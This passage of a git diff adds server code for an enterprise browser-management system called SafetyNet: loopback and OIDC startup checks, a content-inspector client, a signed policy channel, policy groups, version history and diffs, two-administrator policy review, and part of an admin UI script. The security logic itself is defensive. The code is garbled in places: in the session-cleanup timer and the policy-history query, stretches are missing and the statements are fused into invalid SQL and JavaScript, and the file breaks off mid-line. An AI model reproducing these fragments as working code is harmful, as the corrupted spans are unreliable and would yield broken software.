+if(u.protocol==='http:'&&env.HOST&&!['127.0.0.1','localhost','::1'].includes(env.HOST))throw Error('Development HTTP management must bind only to loopback'); +if(u.protocol==='https:'&&(!env.OIDC_ISSUER||!env.OIDC_CLIENT_ID))throw Error('HTTPS management requires enterprise OIDC configuration; shared bootstrap administrator tokens are disabled'); +const config={publicUrl,secure:u.protocol==='https:',adminToken:env.ADMIN_TOKEN,oidcIssuer:env.OIDC_ISSUER,oidcClientId:env.OIDC_CLIENT_ID,oidcClientSecret:env.OIDC_CLIENT_SECRET,oidcAdminGroup:env.OIDC_ADMIN_GROUP||'safetynet-admins',oidcGroupsClaim:env.OIDC_GROUPS_CLAIM||'groups',aiBaseUrl:env.AI_BASE_URL,aiKey:env.AI_API_KEY,aiModel:env.AI_MODEL,inspectorUrl:env.INSPECTOR_URL,inspectorToken:env.INSPECTOR_TOKEN}; +const store=openStore(resolve(env.DATA_DIR||'data')); +config.evidenceKeyFile=env.EVIDENCE_KEY_FILE; +config.evidenceRetentionDays=Number(env.EVIDENCE_RETENTION_DAYS||30); +config.oidcDeviceGroup=env.OIDC_DEVICE_GROUP; +config.oidcOperatorGroup=env.OIDC_OPERATOR_GROUP; +config.oidcAuditorGroup=env.OIDC_AUDITOR_GROUP; +config.requireIndependentPolicyApproval=env.REQUIRE_INDEPENDENT_POLICY_APPROVAL==='true'; +config.requirePQManagement=env.REQUIRE_PQ_MANAGEMENT_CHANNEL!=='false'; +if(u.protocol==='https:'&&!config.requirePQManagement)throw Error('Remote deployment requires the protected management channel'); +config.aiEndpointId=env.AI_ENDPOINT_ID||'default'; +const telemetry=startTelemetry(); +const siem=startSIEM(store,resolve(env.DATA_DIR||'data')); +config.siemStatus=()=>siem.status(); +const retention=startAuditRetention(store,siem,{days:Number(env.AUDIT_RETENTION_DAYS||0)}); +config.auditRetentionStatus=()=>retention.status(); +const server=createApp(store,config).listen(Number(env.PORT||4310),env.HOST||'127.0.0.1',()=>console.log(`SafetyNet management: ${publicUrl}`)); +const timer=setInterval(()=>{ + for(const table of ['sessions','logins','tickets','enrollments'])store.db.prepare(`DELETE FROM ${table} WHERE expires{store.db.close();await telemetry?.shutdown();process.exit(0);});} +process.on('SIGINT',stop);process.on('SIGTERM',stop); diff --git a/apps/server/inspection.mjs b/apps/server/inspection.mjs new file mode 100644 index 0000000..02189d8 --- /dev/null +++ b/apps/server/inspection.mjs @@ -0,0 +1,12 @@ +import { z } from 'zod'; +import { EmbeddingReferenceSchema } from '../../packages/core/semantic.mjs'; +const Result=z.object({decision:z.enum(['allow','block']),ruleId:z.string().nullable(),contentType:z.string(),coverage:z.object({complete:z.boolean(),textCharacters:z.number().optional(),mediaItems:z.number().optional()}),model:z.string().nullable(),similarity:z.array(z.object({categoryId:z.string(),score:z.number()})).optional()}); +export async function inspector(config,route,input){ + if(!config.inspectorUrl||!config.inspectorToken)throw Error('Company content inspector is not configured'); + const url=new URL(config.inspectorUrl); + if(url.username||url.password||!(url.protocol==='https:'||(url.protocol==='http:'&&['127.0.0.1','localhost','[::1]'].includes(url.hostname))))throw Error('Inspector endpoint requires private HTTPS or loopback'); + const r=await fetch(`${url.origin}${route}`,{method:'POST',redirect:'error',headers:{authorization:`Bearer ${config.inspectorToken}`,'content-type':'application/json'},body:JSON.stringify(input),signal:AbortSignal.timeout(30000)}); + if(!r.ok)throw Error('Inspector unavailable or content cannot be inspected'); + const data=await r.json();if(route==='/reference-document')return z.object({sha256:z.string().regex(/^[a-f0-9]{64}$/),bytes:z.number().int().positive(),contentType:z.string().max(100),fragmentHashes:z.array(z.string().regex(/^[a-f0-9]{64}$/)).max(1000),coverage:z.object({complete:z.boolean(),textCharacters:z.number().int().nonnegative().optional(),mediaItems:z.number().int().nonnegative().optional(),fragmentHashesTotal:z.number().int().nonnegative().optional(),fragmentHashesRetained:z.number().int().nonnegative().optional(),fragmentHashesTruncated:z.boolean().optional(),extractionComplete:z.boolean().optional(),featuresComplete:z.boolean().optional()}),registrationReady:z.boolean()}).parse(data); + return route==='/inspect'?Result.parse(data):EmbeddingReferenceSchema.parse(data); +} diff --git a/apps/server/policy-channel.mjs b/apps/server/policy-channel.mjs new file mode 100644 index 0000000..edba50a --- /dev/null +++ b/apps/server/policy-channel.mjs @@ -0,0 +1,24 @@ +import {generateKeyPairSync} from 'node:crypto'; +import channel from '../../packages/core/policy-channel.cjs'; + +export function installPolicyChannel(app,store,device){ + let keys=store.get('channelSigningKeys'); + if(!keys){const pair=generateKeyPairSync('ml-dsa-87');keys={privateKey:pair.privateKey.export({type:'pkcs8',format:'pem'}),publicKey:pair.publicKey.export({type:'spki',format:'pem'})};store.put('channelSigningKeys',keys);} + const ed=store.get('keys').privateKey,identity=channel.identity(ed,keys.privateKey,keys.publicKey),pending=new Map(); + app.get('/api/device/channel/identity',device,(_req,res)=>res.json(identity)); + app.post('/api/device/channel/challenge',device,(req,res)=>{ + for(const [id,item] of pending)if(item.bundle.expiresAt<=Date.now()||item.bundle.deviceId===req.device.id)pending.delete(id); + if(pending.size>=10000)return res.status(503).json({error:'Protected management channel unavailable'}); + const item=channel.challenge(req.device.id,ed,keys.privateKey);pending.set(item.bundle.id,item);res.json(item.bundle); + }); + app.post('/api/device/channel/policy',device,(req,res)=>{ + const item=pending.get(req.body?.id); + if(!item||item.bundle.deviceId!==req.device.id)return res.status(403).json({error:'Protected management channel refused'}); + // Consume before processing: every challenge is one use, including failed ciphertext. + pending.delete(item.bundle.id);let context; + try{context=channel.receive(req.body,item.bundle,item.privateKey);res.json(channel.response(store.envelope(req.device.id),item.bundle,context));} + catch{return res.status(403).json({error:'Protected management channel refused'});} + finally{context?.responseKey.fill(0);} + }); + return identity; +} diff --git a/apps/server/policy-groups.mjs b/apps/server/policy-groups.mjs new file mode 100644 index 0000000..61153a9 --- /dev/null +++ b/apps/server/policy-groups.mjs @@ -0,0 +1,59 @@ +import {z} from 'zod'; +import {PolicyGroupSchema,applyPolicyGroups,groupApplies} from '../../packages/core/policy-groups.mjs'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {policyDiff} from './policy-history.mjs'; + +const conflict=message=>Object.assign(Error(message),{status:409}); +export function validateGroupConfiguration(store,policy,groups=store.getRaw('policyGroups')||[],operation={}){ + if(policy.assignment)throw Object.assign(Error('Global policy cannot include a device assignment'),{status:400}); + groups=z.array(PolicyGroupSchema).max(100).parse(groups); + if(new Set(groups.map(g=>g.id)).size!==groups.length)throw conflict('Duplicate policy group IDs'); + const deviceIds=[...new Set(groups.flatMap(g=>g.memberDeviceIds))]; + if(deviceIds.length>10000)throw conflict('Group assignment device budget exceeded'); + const group=operation.type==='group-upsert'?PolicyGroupSchema.parse(operation.group):null; + if(group)for(const id of group.memberDeviceIds){if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(id))throw conflict('Group includes an unknown or revoked device');} + for(const id of deviceIds){ + let baseline=structuredClone(policy),device=store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(id); + if(device?.document_analysis_enabled!==null&&device?.document_analysis_enabled!==undefined)baseline.inspection.documentAnalysisEnabled=!!device.document_analysis_enabled; + if(operation.type==='inspection'&&operation.deviceId===id)baseline.inspection.documentAnalysisEnabled=operation.enabled; + let effective;try{effective=PolicySchema.parse(applyPolicyGroups(baseline,groups,id));}catch(error){if(error instanceof z.ZodError)throw error;throw conflict(error.message);} + const personal=store.personalBookmarks(id); + if(effective.browser.bookmarks.managed.some(b=>personal.items.some(p=>p.id===b.id)))throw conflict('Group company bookmark IDs conflict with personal bookmarks'); + } + return groups; +} +export function groupsForOperation(store,operation){ + if(operation.type==='group-restore')return z.array(PolicyGroupSchema).max(100).parse(operation.groups); + const groups=structuredClone(store.getRaw('policyGroups')||[]); + if(operation.type==='group-upsert'){const group=PolicyGroupSchema.parse(operation.group),index=groups.findIndex(g=>g.id===group.id);if(index<0)groups.push(group);else groups[index]=group;} + if(operation.type==='group-delete'){if(!groups.some(g=>g.id===operation.groupId))throw conflict('Policy group no longer exists');return groups.filter(g=>g.id!==operation.groupId);} + return groups.sort((a,b)=>a.id.localeCompare(b.id,'en')); +} +export function installPolicyGroups(app,store,publisher){ + app.get('/api/admin/policy-groups',(_req,res)=>{ + const groups=store.getRaw('policyGroups')||[],version=store.get('policy').version; + const devices=store.db.prepare('SELECT id,name,revoked,last_seen,policy_version FROM devices ORDER BY name,id').all().map(d=>({id:d.id,name:d.name,revoked:!!d.revoked,last_seen:d.last_seen,policyVersion:d.policy_version,targetVersion:version,acknowledged:d.policy_version===version,groups:groups.filter(g=>groupApplies(g,d.id)).map(g=>g.id),memberGroups:groups.filter(g=>g.memberDeviceIds.includes(d.id)).map(g=>g.id)})); + res.json({version,groups,devices}); + }); + app.post('/api/admin/policy-groups/preview',(req,res)=>{ + const b=z.object({deviceId:z.string().min(1).max(80),group:PolicyGroupSchema.optional()}).strict().parse(req.body); + if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(b.deviceId))return res.status(404).json({error:'Active device not found'}); + const baseline=store.get('policy'),operation=b.group?{type:'group-upsert',group:b.group}:{},groups=groupsForOperation(store,operation); + validateGroupConfiguration(store,baseline,groups,operation); + const device=store.db.prepare('SELECT document_analysis_enabled FROM devices WHERE id=?').get(b.deviceId); + if(device.document_analysis_enabled!==null)baseline.inspection.documentAnalysisEnabled=!!device.document_analysis_enabled; + const policy=PolicySchema.parse(applyPolicyGroups(baseline,groups,b.deviceId)); + res.json({policy,groups:policy.assignment.groups,diff:policyDiff(baseline,policy),currentDiff:policyDiff(store.effectivePolicy(b.deviceId),policy)}); + }); + app.put('/api/admin/policy-groups/:id',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),group:PolicyGroupSchema}).strict().parse(req.body); + if(b.group.id!==req.params.id)return res.status(400).json({error:'Group ID does not match route'}); + const p=store.get('policy');if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.version++;publisher.submit(req,res,p,'policy.group-published',{type:'group-upsert',group:b.group}); + }); + app.delete('/api/admin/policy-groups/:id',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive()}).strict().parse(req.body),p=store.get('policy'); + if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.version++;publisher.submit(req,res,p,'policy.group-deleted',{type:'group-delete',groupId:req.params.id}); + }); +} diff --git a/apps/server/policy-history.mjs b/apps/server/policy-history.mjs new file mode 100644 index 0000000..0b24421 --- /dev/null +++ b/apps/server/policy-history.mjs @@ -0,0 +1,60 @@ +import {z} from 'zod'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {globalBookmarksValid} from './bookmarks.mjs'; + +const version=z.coerce.number().int().positive().max(Number.MAX_SAFE_INTEGER); +function snapshot(store,id){ + const row=store.db.prepare('SELECT version,time,actor,policy FROM policies WHERE version=?').get(id); + if(!row)return null; + const policy=PolicySchema.parse(JSON.parse(row.policy)); + // Global history never carries device personal collections, even from old stores. + policy.browser.bookmarks.personal={revision:0,items:[]}; + const groupsRow=store.db.prepare('SELECT groups FROM policy_group_history WHERE version=?').get(id); + const profilesRow=store.db.prepare('SELECT configuration FROM user_profile_history WHERE version=?').get(id); + return {...row,policy,userProfiles:profilesRow?JSON.parse(profilesRow.configuration):null,groups:groupsRow?JSON.parse(groupsRow.groups):[],groupHistoryAvailable:!!groupsRow}; +} +export function policyDiff(before,after,max=500){ + const changes=[];let truncated=false; + function walk(a,b,path){ + if(JSON.stringify(a)===JSON.stringify(b))return; + if(a&&b&&typeof a==='object'&&typeof b==='object'&&!Array.isArray(a)&&!Array.isArray(b)){ + for(const key of [...new Set([...Object.keys(a),...Object.keys(b)])].sort())walk(a[key],b[key],`${path}/${key.replaceAll('~','~0').replaceAll('/','~1')}`); + return; + } + if(changes.length>=max){truncated=true;return;} + changes.push({path,kind:a===undefined?'added':b===undefined?'removed':'changed',...(a===undefined?{}:{before:a}),...(b===undefined?{}:{after:b})}); + } + walk(before,after,'');return {changes,truncated}; +} +export function installPolicyHistory(app,store,publisher){ + app.get('/api/admin/policy/history',(req,res)=>{ + const query=z.object({before:version.optional(),limit:z.coerce.number().int().min(1).max(100).default(20)}).strict().parse(req.query); + const currentVersion=store.getRaw('policy').version; + const rows=store.db.prepare('SELECT version,time,actor FROM policies WHERE versionquery.limit,versions=rows.slice(0,query.limit).map(row=>({...row,current:row.version===currentVersion})); + res.json({currentVersion,versions,nextBefore:more?versions.at(-1).version:null}); + }); + app.get('/api/admin/policy/history/:version',(req,res)=>{ + const item=snapshot(store,version.parse(req.params.version)); + if(!item)return res.status(404).json({error:'Policy version not found'}); + res.json(item); + }); + app.get('/api/admin/policy/diff',(req,res)=>{ + const query=z.object({from:version,to:version}).strict().parse(req.query); + const from=snapshot(store,query.from),to=snapshot(store,query.to); + if(!from||!to)return res.status(404).json({error:'Policy version not found'}); + res.json({...query,...policyDiff(from.policy,to.policy),groupDiff:policyDiff(from.groups,to.groups),profileDiff:policyDiff(from.userProfiles,to.userProfiles)}); + }); + app.post('/api/admin/policy/restore',(req,res)=>{ + const body=z.object({sourceVersion:version,expectedVersion:version,approve:z.literal(true)}).strict().parse(req.body); + const current=store.getRaw('policy'); + if(current.version!==body.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const source=snapshot(store,body.sourceVersion); + if(!source)return res.status(404).json({error:'Policy version not found'}); + const policy=PolicySchema.parse({...source.policy,version:current.version+1,expiresAt:new Date(Date.now()+7*86400000).toISOString()}); + if(!globalBookmarksValid(store,policy))return res.status(409).json({error:'Historical company bookmark IDs conflict with current personal bookmarks'}); + if(!source.groupHistoryAvailable&&(store.getRaw('policyGroups')||[]).length)return res.status(409).json({error:'Historical group assignment snapshot unavailable; review group changes explicitly'}); + if(!source.userProfiles&&(store.getRaw('userProfiles')?.profiles?.length||store.getRaw('userProfiles')?.categories?.length))return res.status(409).json({error:'Historical user profile snapshot unavailable'}); + publisher.submit(req,res,policy,'policy.restored',{type:'group-restore',sourceVersion:body.sourceVersion,groups:source.groups,configuration:source.userProfiles||{profiles:[],categories:[]}},{sourceVersion:body.sourceVersion,expiresAt:policy.expiresAt}); + }); +} diff --git a/apps/server/policy-review.mjs b/apps/server/policy-review.mjs new file mode 100644 index 0000000..fee3194 --- /dev/null +++ b/apps/server/policy-review.mjs @@ -0,0 +1,72 @@ +import {profilesForOperation,validateProfiles} from './user-profiles.mjs'; +import {randomUUID} from 'node:crypto'; +import {z} from 'zod'; +import {PolicySchema} from '../../packages/core/policy.mjs'; +import {digest} from './store.mjs'; +import {globalBookmarksValid} from './bookmarks.mjs'; +import {policyDiff} from './policy-history.mjs'; +import {groupsForOperation,validateGroupConfiguration} from './policy-groups.mjs'; + +export function policyPublisher(app,store,config){ + store.db.exec(`CREATE TABLE IF NOT EXISTS policy_reviews(id TEXT PRIMARY KEY,time TEXT NOT NULL,author TEXT NOT NULL,expected_version INTEGER NOT NULL,payload_hash TEXT NOT NULL,policy TEXT NOT NULL,kind TEXT NOT NULL,operation TEXT NOT NULL,status TEXT NOT NULL,reviewer TEXT,reviewed_at TEXT,published_version INTEGER)`); + function validate(policy,expected,operation={}){ + const p=PolicySchema.parse(policy); + if(store.getRaw('policy').version!==expected||p.version!==expected+1)throw Object.assign(Error('Policy version conflict'),{status:409}); + if(!globalBookmarksValid(store,p))throw Object.assign(Error('Company bookmark IDs conflict with personal bookmarks'),{status:409}); + if(Date.parse(p.expiresAt)<=Date.now()||Date.parse(p.expiresAt)>Date.now()+30*86400000)throw Object.assign(Error('Policy expiry must be within the next 30 days'),{status:400}); + validateGroupConfiguration(store,p,groupsForOperation(store,operation),operation); + validateProfiles(store,p,operation,groupsForOperation(store,operation)); + return p; + } + function apply(p,actor,kind,operation){ + if(operation.type?.startsWith('profile-')||operation.configuration)store.put('userProfiles',profilesForOperation(store,operation.configuration?{type:'profile-restore',configuration:operation.configuration}:operation)); + if(['group-upsert','group-delete','group-restore'].includes(operation.type))store.put('policyGroups',groupsForOperation(store,operation)); + if(operation.type==='inspection'){ + if(!store.db.prepare('UPDATE devices SET document_analysis_enabled=? WHERE id=? AND revoked=0').run(operation.enabled?1:0,operation.deviceId).changes)throw Object.assign(Error('Active device not found'),{status:409}); + store.event(operation.deviceId,'inspection.setting-changed',{actor,version:p.version,documentAnalysisEnabled:operation.enabled}); + } + if(operation.type==='teaching'){ + if(!store.db.prepare("UPDATE teaching SET status='published',reviewer=?,policy_version=? WHERE id=? AND status='draft'").run(actor,p.version,operation.id).changes)throw Object.assign(Error('Teaching draft no longer available'),{status:409}); + store.event(null,'teaching.approved',{actor,referenceId:operation.id,version:p.version,coverage:operation.coverage,mode:operation.mode}); + } + store.put('policy',p);store.db.prepare('INSERT INTO policies VALUES(?,?,?,?)').run(p.version,new Date().toISOString(),actor,JSON.stringify(p)); + store.db.prepare('INSERT INTO policy_group_history(version,groups) VALUES(?,?)').run(p.version,JSON.stringify(store.getRaw('policyGroups')||[])); + store.db.prepare('INSERT INTO user_profile_history(version,configuration) VALUES(?,?)').run(p.version,JSON.stringify(store.getRaw('userProfiles')||{profiles:[],categories:[]})); + store.event(null,kind,{actor,version:p.version,...(operation.sourceVersion?{sourceVersion:operation.sourceVersion}:{}),...(operation.type==='group-upsert'?{groupId:operation.group.id,stage:operation.group.rollout.stage,count:operation.group.memberDeviceIds.length}:{}),...(operation.type==='group-delete'?{groupId:operation.groupId}:{})}); + } + function prepare(p,author,kind='policy.published',operation={}){ + p=validate(p,p.version-1,operation);const id=randomUUID(),payloadHash=digest(JSON.stringify({policy:p,kind,operation})),expectedVersion=p.version-1; + if(store.db.prepare("SELECT COUNT(*) AS count FROM policy_reviews WHERE status='pending' AND expected_version=?").get(expectedVersion).count>=1000)throw Object.assign(Error('Pending policy review limit reached'),{status:409}); + store.db.exec('BEGIN IMMEDIATE');try{ + store.db.prepare('INSERT INTO policy_reviews(id,time,author,expected_version,payload_hash,policy,kind,operation,status) VALUES(?,?,?,?,?,?,?,?,?)').run(id,new Date().toISOString(),author,expectedVersion,payloadHash,JSON.stringify(p),kind,JSON.stringify(operation),'pending'); + store.event(null,'policy.review-requested',{actor:author,reviewId:id,version:expectedVersion,payloadHash});store.db.exec('COMMIT'); + }catch(e){store.db.exec('ROLLBACK');throw e;} + return {reviewRequired:true,reviewId:id,status:'pending',expectedVersion,payloadHash}; + } + function submit(req,res,p,kind='policy.published',operation={},extra={}){ + if(config.requireIndependentPolicyApproval)return res.status(202).json(prepare(p,req.principal.sub,kind,operation)); + store.db.exec('BEGIN IMMEDIATE');try{p=validate(p,p.version-1,operation);apply(p,req.principal.sub,kind,operation);store.db.exec('COMMIT');}catch(e){store.db.exec('ROLLBACK');throw e;} + return res.json({ok:true,version:p.version,...extra}); + } + const view=row=>({id:row.id,time:row.time,author:row.author,expectedVersion:row.expected_version,payloadHash:row.payload_hash,kind:row.kind,status:row.status==='pending'&&row.expected_version!==store.getRaw('policy').version?'stale':row.status,reviewer:row.reviewer,reviewedAt:row.reviewed_at,publishedVersion:row.published_version}); + app.get('/api/admin/policy-reviews',(_req,res)=>res.json({requireIndependentPolicyApproval:!!config.requireIndependentPolicyApproval,reviews:store.db.prepare('SELECT * FROM policy_reviews ORDER BY time DESC LIMIT 100').all().map(view)})); + app.get('/api/admin/policy-reviews/:id',(req,res)=>{const row=store.db.prepare('SELECT * FROM policy_reviews WHERE id=?').get(req.params.id);if(!row)return res.status(404).json({error:'Policy review not found'});const policy=PolicySchema.parse(JSON.parse(row.policy));res.json({...view(row),policy,operation:JSON.parse(row.operation),diff:policyDiff(store.get('policy'),policy)});}); + app.post('/api/admin/policy-reviews',(req,res)=>{const b=z.object({policy:PolicySchema}).strict().parse(req.body);res.status(202).json(prepare(b.policy,req.principal.sub));}); + for(const action of ['approve','reject'])app.post(`/api/admin/policy-reviews/:id/${action}`,(req,res)=>{ + const b=(action==='approve'?z.object({payloadHash:z.string().regex(/^[a-f0-9]{64}$/),expectedVersion:z.number().int().positive(),approve:z.literal(true)}):z.object({payloadHash:z.string().regex(/^[a-f0-9]{64}$/),reject:z.literal(true)})).strict().parse(req.body); + store.db.exec('BEGIN IMMEDIATE');try{ + const row=store.db.prepare('SELECT * FROM policy_reviews WHERE id=?').get(req.params.id); + if(!row)throw Object.assign(Error('Policy review not found'),{status:404}); + if(row.author===req.principal.sub)throw Object.assign(Error('Independent administrator required'),{status:403}); + if(row.status!=='pending'||b.payloadHash!==row.payload_hash)throw Object.assign(Error('Policy review conflict'),{status:409}); + const operation=JSON.parse(row.operation),policy=PolicySchema.parse(JSON.parse(row.policy)); + if(digest(JSON.stringify({policy,kind:row.kind,operation}))!==row.payload_hash)throw Object.assign(Error('Policy review integrity conflict'),{status:409}); + if(action==='approve'){if(b.expectedVersion!==row.expected_version)throw Object.assign(Error('Policy version conflict'),{status:409});validate(policy,row.expected_version,operation);apply(policy,req.principal.sub,row.kind,operation);} + const status=action==='approve'?'approved':'rejected'; + store.db.prepare('UPDATE policy_reviews SET status=?,reviewer=?,reviewed_at=?,published_version=? WHERE id=?').run(status,req.principal.sub,new Date().toISOString(),action==='approve'?policy.version:null,row.id); + store.event(null,`policy.review-${status}`,{actor:req.principal.sub,author:row.author,reviewId:row.id,payloadHash:row.payload_hash,version:action==='approve'?policy.version:row.expected_version}); + store.db.exec('COMMIT');res.json({ok:true,id:row.id,status,...(action==='approve'?{version:policy.version}:{})}); + }catch(e){store.db.exec('ROLLBACK');res.status(e.status||400).json({error:e.message});} + }); + return {submit}; +} diff --git a/apps/server/public/admin.js b/apps/server/public/admin.js new file mode 100644 index 0000000..0373665 --- /dev/null +++ b/apps/server/public/admin.js @@ -0,0 +1,372 @@ +const $=id=>document.getElementById(id); + +let publishedSnapshot,operatorPermissions=null,currentPrincipal,independentApprovalRequired=false,selectedIndependentReview=null; + +let credential='',policy,presetPreview,managedBookmarks=[],personalBookmarks=[],bookmarkRevision,bookmarkDeviceId=''; + +const managedSections=['appearance','library','ai','passwords','documentScan','agents']; + +const agentScopes=['sessions','navigate','read','click','type','screenshot','ai','application:state','settings:get','settings:update','bookmarks:list','bookmarks:mutate','tabs:create','tabs:activate','tabs:close','tabs:group']; + +function status(message,error=false){$('status').textContent=message;$('status').className=error?'error':'';} + +async function api(path,body,method=body?'POST':'GET'){ + + const headers={};if(credential)headers.authorization=`Bearer ${credential}`;if(body)headers['content-type']='application/json'; + + const r=await fetch(path,{method,headers,body:body?JSON.stringify(body):undefined});const data=await r.json();if(!r.ok)throw Error(data.error+(data.issues?': '+data.issues.map(v=>`${v.path}: ${v.message}`).join('; '):''));return data; + +} + +function task(fn){return async()=>{try{await fn();}catch(e){status(e.message,true);}finally{if(currentPrincipal)applyOperatorPermissions(currentPrincipal);updateDraftStatus();}};} + +function cell(row,value){const td=document.createElement('td');td.textContent=String(value??'—');row.append(td);return td;} + +function lines(id){return $(id).value.split('\n').map(v=>v.trim()).filter(Boolean);} + +function fill(p){ + + const bookmarks=p.browser.bookmarks||{managed:[],allowUserAdd:true,allowUserEdit:true,allowUserDelete:true,adminReadUserBookmarks:false};managedBookmarks=structuredClone(bookmarks.managed);for(const [id,key] of bookmarkPermissions)$(id).checked=bookmarks[key];renderBookmarkRows('managed-bookmark-rows',managedBookmarks);clearDeviceBookmarks(); + + $('visual-enabled').checked=p.security.visualPhishing.enabled; + + const e=p.enterprise;$('enterprise-dns-mode').value=e.dns.mode;$('enterprise-dns-templates').value=e.dns.templates.join('\n');$('enterprise-vpn-required').checked=e.vpn.required;$('enterprise-vpn-interfaces').value=e.vpn.interfaceNames.join('\n');$('enterprise-vpn-dns').value=e.vpn.requiredDnsServers.join('\n');$('enterprise-icap-enabled').checked=e.icap.enabled;$('enterprise-icap-url').value=e.icap.url;$('enterprise-icap-method').value=e.icap.method;$('enterprise-icap-timeout').value=e.icap.timeoutMs;$('enterprise-icap-max').value=e.icap.maxBytes;for(const [id,key] of [['uploads','scanUploads'],['downloads','scanDownloads'],['clipboard','scanClipboard'],['ai','scanAI'],['insecure','allowInsecureTransport']])$(`enterprise-icap-${id}`).checked=e.icap[key];presetPreview=null;$('preset-apply').disabled=true;$('preset-description').textContent='';$('preset-changes').replaceChildren(); + + const settings=p.browser.settings||{visible:true,hiddenSections:[],lockedSections:[],appearance:{mode:'system',accent:'blue',tabMode:'separate'}}; + + $('settings-visible').checked=settings.visible;for(const section of managedSections){$(`settings-hide-${section}`).checked=settings.hiddenSections.includes(section);$(`settings-lock-${section}`).checked=settings.lockedSections.includes(section);} + + $('settings-theme').value=settings.appearance.mode;$('settings-accent').value=settings.appearance.accent;$('settings-tabs').value=settings.appearance.tabMode; + + $('security-json').value=JSON.stringify(p.security,null,2);$('agents-json').value=JSON.stringify(p.agents,null,2);$('ai-provider').value=p.ai.provider;$('ai-trust').value=p.ai.trustMode;$('ai-endpoint').value=p.ai.endpointId; + + fillSecurityControls(p.security,p.agents); + + $('ai-confidential-local').checked=p.ai.allowConfidentialLocal; + + $('vault-enabled').checked=p.passwordManager.enabled;$('vault-saving').checked=p.passwordManager.allowSaving;$('vault-autofill').checked=p.passwordManager.allowAutofill;$('vault-idle').value=p.passwordManager.idleLockSeconds; + + for(const [id,key] of [['clipboard-enabled','enabled'],['clipboard-copy','allowCopy'],['clipboard-cut','allowCut'],['clipboard-paste','allowPaste'],['clipboard-command','blockSuspiciousCommands']])$(id).checked=p.security.clipboard[key];$('clipboard-max').value=p.security.clipboard.maxTextBytes; + + $('brand-name').value=p.brand.name;$('brand-color').value=p.brand.color;$('home-url').value=p.browser.homeUrl; + + $('allowed-hosts').value=p.browser.allowedHosts.join('\n');$('blocked-hosts').value=p.browser.blockedHosts.join('\n'); + + $('proxy-mode').value=p.proxy.mode;$('proxy-value').value=p.proxy.rules||p.proxy.pacUrl||'';$('proxy-bypass').value=p.proxy.bypass||''; + + const date=new Date(p.expiresAt);$('expiry').value=new Date(date.getTime()-date.getTimezoneOffset()*60000).toISOString().slice(0,16); + + $('downloads').checked=p.browser.allowDownloads;$('devtools').checked=p.browser.allowDevTools;$('websockets').checked=p.browser.allowWebSockets; + + $('ai-enabled').checked=p.ai.enabled;$('ai-model').value=p.ai.model;$('max-bytes').value=p.dlp.maxBytes;$('semantic-enabled').checked=p.dlp.semantic.enabled;renderRules();renderSemantic(); + +} + +function draft(){ + + const p=structuredClone(policy);p.version+=1;p.expiresAt=new Date($('expiry').value).toISOString(); + + p.enterprise={dns:{mode:$('enterprise-dns-mode').value,templates:lines('enterprise-dns-templates')},vpn:{required:$('enterprise-vpn-required').checked,interfaceNames:lines('enterprise-vpn-interfaces'),requiredDnsServers:lines('enterprise-vpn-dns')},icap:{enabled:$('enterprise-icap-enabled').checked,url:$('enterprise-icap-url').value.trim(),method:$('enterprise-icap-method').value,allow204:true,allowInsecureTransport:$('enterprise-icap-insecure').checked,scanUploads:$('enterprise-icap-uploads').checked,scanDownloads:$('enterprise-icap-downloads').checked,scanClipboard:$('enterprise-icap-clipboard').checked,scanAI:$('enterprise-icap-ai').checked,timeoutMs:Number($('enterprise-icap-timeout').value),maxBytes:Number($('enterprise-icap-max').value),failClosed:true}}; + + p.passwordManager={enabled:$('vault-enabled').checked,allowSaving:$('vault-saving').checked,allowAutofill:$('vault-autofill').checked,idleLockSeconds:Number($('vault-idle').value)}; + + p.brand={name:$('brand-name').value,color:$('brand-color').value}; + + p.browser={homeUrl:$('home-url').value,allowedHosts:lines('allowed-hosts'),blockedHosts:lines('blocked-hosts'),allowDownloads:$('downloads').checked,allowDevTools:$('devtools').checked,allowWebSockets:$('websockets').checked}; + + p.browser.settings={visible:$('settings-visible').checked,hiddenSections:managedSections.filter(section=>$(`settings-hide-${section}`).checked),lockedSections:managedSections.filter(section=>$(`settings-lock-${section}`).checked),appearance:{mode:$('settings-theme').value,accent:$('settings-accent').value,tabMode:$('settings-tabs').value}}; + + p.browser.bookmarks={managed:structuredClone(managedBookmarks),personal:structuredClone(policy.browser.bookmarks.personal)};for(const [id,key] of bookmarkPermissions)p.browser.bookmarks[key]=$(id).checked; + + const mode=$('proxy-mode').value;p.proxy={mode};if(mode==='fixed_servers'){p.proxy.rules=$('proxy-value').value;p.proxy.bypass=$('proxy-bypass').value;}if(mode==='pac_script')p.proxy.pacUrl=$('proxy-value').value; + + p.security=JSON.parse($('security-json').value);p.security.clipboard={enabled:$('clipboard-enabled').checked,allowCopy:$('clipboard-copy').checked,allowCut:$('clipboard-cut').checked,allowPaste:$('clipboard-paste').checked,blockSuspiciousCommands:$('clipboard-command').checked,failClosed:true,maxTextBytes:Number($('clipboard-max').value)}; + + p.security.visualPhishing.enabled=$('visual-enabled').checked; + + p.security.dns={...p.security.dns,enabled:$('security-dns-enabled').checked,blockedHosts:lines('security-dns-hosts'),blockedIPs:lines('security-dns-ips'),failClosed:true};p.security.content.blockedPhrases=lines('security-content-phrases');p.security.yara.enabled=$('security-yara-enabled').checked;p.security.yara.maxScanBytes=Number($('security-yara-max').value); + + p.agents={enabled:$('agent-enabled').checked,scopes:agentScopes.filter(scope=>$(`agent-scope-${scope}`).checked),allowedHosts:lines('agent-hosts'),allowSensitiveRead:$('agent-sensitive').checked};p.ai={enabled:$('ai-enabled').checked,model:$('ai-model').value,provider:$('ai-provider').value,trustMode:$('ai-trust').value,endpointId:$('ai-endpoint').value,allowConfidentialLocal:$('ai-confidential-local').checked};p.dlp.maxBytes=Number($('max-bytes').value);p.dlp.semantic.enabled=$('semantic-enabled').checked;return p; + +} + +function renderRules(){ + + $('rules').replaceChildren();for(const rule of policy.dlp.rules){const div=document.createElement('div');div.className='rule';const text=document.createElement('span');text.textContent=`${rule.label} · ${rule.kind} · ${rule.value}`;const 